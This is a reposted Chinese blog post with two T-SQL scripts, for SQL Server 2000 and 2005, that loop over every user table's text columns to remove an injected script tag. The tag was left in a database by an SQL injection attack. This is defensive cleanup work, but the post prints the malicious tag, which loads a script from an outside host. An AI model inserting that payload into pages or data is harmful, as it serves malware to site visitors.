SQL注入批量更新语句

--sql 2000解决方法
DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)+N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
    AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
    AND c.xusertype=t.xusertype
    AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

--sql 2005 解决方法
declare  @t  varchar(255),@c  varchar(255) 
declare  table_cursor  cursor  for 
select a.name,b.name from  sysobjects  a,syscolumns  b 
where  a.iD=b.iD  AnD  a.xtype='u' 
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167) 
declare @str varchar(500)
--这里是你要替换的字符
set @str='<script_src=http://ucmal.com/0.js> </script>'
open  table_cursor  fetch  next  from  table_cursor 
into  @t,@c  while(@@fetch_status=0) 
begin     
    exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')     
    fetch  next  from  table_cursor  into  @t,@c 
end 
close  table_cursor  deallocate  table_cursor

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/htl258/archive/2009/03/14/3991058.aspx

最后

以上就是知性咖啡为你收集整理的 SQL注入批量更新语句的全部内容，希望文章能够帮你解决 SQL注入批量更新语句所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。